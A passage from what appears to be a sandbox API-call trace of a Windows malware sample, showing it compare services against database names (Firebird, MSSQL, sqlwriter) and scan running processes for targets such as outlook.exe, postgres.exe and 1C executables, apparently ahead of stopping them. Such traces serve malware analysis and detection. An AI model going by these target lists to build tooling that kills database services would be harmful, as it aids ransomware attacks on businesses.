lpString2="ProfSvc") returned 1 [0052.994] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0052.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0052.994] lstrlenW (lpString="RpcEptMapper") returned 12 [0052.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0052.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0052.994] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0052.994] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0052.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0052.994] lstrlenW (lpString="RpcSs") returned 5 [0052.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0052.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0052.994] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0052.994] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0052.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0052.994] lstrlenW (lpString="SamSs") returned 5 [0052.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0052.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0052.995] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0052.995] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0052.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0052.995] lstrlenW (lpString="Schedule") returned 8 [0052.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0052.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0052.995] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0052.995] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0052.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0052.995] lstrlenW (lpString="SENS") returned 4 [0052.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0052.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0052.995] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0052.995] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0052.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0052.995] lstrlenW (lpString="ShellHWDetection") returned 16 [0052.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0052.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0052.995] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0052.995] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0052.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0052.995] lstrlenW (lpString="Spooler") returned 7 [0052.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0052.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0052.995] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0052.995] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0052.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0052.995] lstrlenW (lpString="sppsvc") returned 6 [0052.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0052.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0052.995] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0052.996] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0052.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0052.996] lstrlenW (lpString="swprv") returned 5 [0052.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0052.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0052.996] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0052.996] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0052.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0052.996] lstrlenW (lpString="SysMain") returned 7 [0052.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0052.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0052.996] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0052.996] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0052.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0052.996] lstrlenW (lpString="Themes") returned 6 [0052.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0052.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0052.996] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0052.996] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0052.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0052.996] lstrlenW (lpString="TrkWks") returned 6 [0052.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0052.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0052.996] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0052.996] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0052.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0052.996] lstrlenW (lpString="UxSms") returned 5 [0052.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0052.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0052.996] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0052.996] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0052.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0052.996] lstrlenW (lpString="VSS") returned 3 [0052.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0052.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0052.997] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0052.997] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0052.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0052.997] lstrlenW (lpString="WdiServiceHost") returned 14 [0052.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0052.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0052.997] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0052.997] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0052.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0052.997] lstrlenW (lpString="WdiSystemHost") returned 13 [0052.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0052.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0052.997] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0052.997] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0052.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0052.997] lstrlenW (lpString="WinDefend") returned 9 [0052.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0052.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0052.997] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0052.997] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0052.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0052.997] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0052.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0052.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0052.997] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0052.997] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0052.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0052.997] lstrlenW (lpString="Winmgmt") returned 7 [0052.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0052.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0052.997] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0052.997] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0052.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0052.998] lstrlenW (lpString="wscsvc") returned 6 [0052.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0052.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0052.998] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0052.998] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0052.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0052.998] lstrlenW (lpString="wuauserv") returned 8 [0052.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0052.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0052.998] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0052.998] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0052.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0052.998] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3f90098 | out: hHeap=0x520000) returned 1 [0052.998] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x214 [0053.002] Process32FirstW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0053.002] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0053.003] lstrlenW (lpString="System") returned 6 [0053.003] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0053.003] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0053.003] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0053.003] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0053.003] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0053.004] lstrlenW (lpString="smss.exe") returned 8 [0053.004] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0053.004] lstrlenW (lpString="csrss.exe") returned 9 [0053.004] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0053.005] lstrlenW (lpString="wininit.exe") returned 11 [0053.005] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0053.005] lstrlenW (lpString="csrss.exe") returned 9 [0053.005] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0053.006] lstrlenW (lpString="winlogon.exe") returned 12 [0053.006] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0053.006] lstrlenW (lpString="services.exe") returned 12 [0053.006] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0053.007] lstrlenW (lpString="lsass.exe") returned 9 [0053.007] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0053.007] lstrlenW (lpString="lsm.exe") returned 7 [0053.008] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.008] lstrlenW (lpString="svchost.exe") returned 11 [0053.008] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.009] lstrlenW (lpString="svchost.exe") returned 11 [0053.009] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.009] lstrlenW (lpString="svchost.exe") returned 11 [0053.009] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.010] lstrlenW (lpString="svchost.exe") returned 11 [0053.010] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.013] lstrlenW (lpString="svchost.exe") returned 11 [0053.013] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0053.013] lstrlenW (lpString="audiodg.exe") returned 11 [0053.013] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.014] lstrlenW (lpString="svchost.exe") returned 11 [0053.014] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.015] lstrlenW (lpString="svchost.exe") returned 11 [0053.015] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0053.015] lstrlenW (lpString="dwm.exe") returned 7 [0053.015] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0053.016] lstrlenW (lpString="explorer.exe") returned 12 [0053.016] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0053.016] lstrlenW (lpString="spoolsv.exe") returned 11 [0053.016] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0053.017] lstrlenW (lpString="taskhost.exe") returned 12 [0053.017] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.017] lstrlenW (lpString="svchost.exe") returned 11 [0053.017] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0053.018] lstrlenW (lpString="taskeng.exe") returned 11 [0053.018] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0053.019] lstrlenW (lpString="taskhost.exe") returned 12 [0053.019] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.025] lstrlenW (lpString="svchost.exe") returned 11 [0053.025] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0053.026] lstrlenW (lpString="sppsvc.exe") returned 10 [0053.026] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.026] lstrlenW (lpString="svchost.exe") returned 11 [0053.026] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="antibodiesbatteries.exe")) returned 1 [0053.666] lstrlenW (lpString="antibodiesbatteries.exe") returned 23 [0053.666] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smsvhskate.exe")) returned 1 [0053.667] lstrlenW (lpString="smsvhskate.exe") returned 14 [0053.667] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="auditorpickupprogramming.exe")) returned 1 [0053.668] lstrlenW (lpString="auditorpickupprogramming.exe") returned 28 [0053.668] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="patient latin.exe")) returned 1 [0053.669] lstrlenW (lpString="patient latin.exe") returned 17 [0053.669] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barbados.exe")) returned 1 [0053.670] lstrlenW (lpString="barbados.exe") returned 12 [0053.670] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="otthose.exe")) returned 1 [0053.671] lstrlenW (lpString="otthose.exe") returned 11 [0053.671] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="suburban.exe")) returned 1 [0053.671] lstrlenW (lpString="suburban.exe") returned 12 [0053.671] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="examination.exe")) returned 1 [0053.672] lstrlenW (lpString="examination.exe") returned 15 [0053.672] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="circulation-remark-crisis.exe")) returned 1 [0053.672] lstrlenW (lpString="circulation-remark-crisis.exe") returned 29 [0053.672] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="madrid.exe")) returned 1 [0053.673] lstrlenW (lpString="madrid.exe") returned 10 [0053.673] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="measurerush.exe")) returned 1 [0053.673] lstrlenW (lpString="measurerush.exe") returned 15 [0053.673] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="interest treaty spam.exe")) returned 1 [0053.674] lstrlenW (lpString="interest treaty spam.exe") returned 24 [0053.674] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="unlikecollectionstransformation.exe")) returned 1 [0053.675] lstrlenW (lpString="unlikecollectionstransformation.exe") returned 35 [0053.675] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="patrick below addressed.exe")) returned 1 [0053.675] lstrlenW (lpString="patrick below addressed.exe") returned 27 [0053.675] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="jessefun.exe")) returned 1 [0053.676] lstrlenW (lpString="jessefun.exe") returned 12 [0053.676] Process32NextW (in: hSnapshot=0x214, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, 